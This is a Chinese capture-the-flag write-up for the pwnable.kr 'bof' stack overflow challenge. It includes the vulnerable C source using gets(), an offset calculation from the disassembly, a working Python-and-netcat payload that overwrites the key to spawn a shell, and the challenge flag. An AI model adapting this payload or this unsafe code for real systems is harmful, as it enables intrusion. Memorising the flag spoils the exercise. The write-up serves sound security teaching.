pwnable.kr bof
程序员文章站
2022-03-09 22:36:45
...
pwnable.kr bof
同样的,既然有源代码。我们就配合着源代码来做题,这样可能更利于搞懂高级语言被反汇编之后两者之间的联系。
bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
这是关于数组溢出的问题,导致这个问题的原因是由于 gets() 函数没有检查接受字符串长度导致的。有的编译器在编译源代码的时候也会提示警告。其实这个题目也是相当的简单,如果你了解栈机制的话。
我们要做的就是让输入的字符串的后面四个字节覆盖 key。其实我们要做的就是算出 overflow 数组的首地址到 key 首地址之间的距离。
gets(overflow) 是接受输入,当然是从 overflow 的首地址开始存储字节。前面的 esp (esp在汇编中为栈顶指针,栈中数据都是从栈顶进去的,所以你懂的…)存放的就是 overflow 的基址,为 ebp + s 其中 s = byte ptr - 2ch。然后 key 的基址当然要在 cmd 里面找,因为 if (key == 0x….) 所以 ebp + arg_0, 就是 key 的基址,其中 arg_0 = dword ptr 8。然后很简单的算出两者的距离为 52。所以我们在输入 0xcafebabe 之前需要填充 52 个字符。
解题:
$ (python -c "print 'a'*52 + '\xbe\xba\xfe\xca'"; cat -) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)
*Flag:***daddy, I just pwned a buFFer :)
其实用 gdb 调试也是一样的,由于时间和精力问题,这里不继续下去,感兴趣的自己去尝试。
上一篇: 2017年西北工业大学夏令营第四题
下一篇: 【pwnable.kr】 asm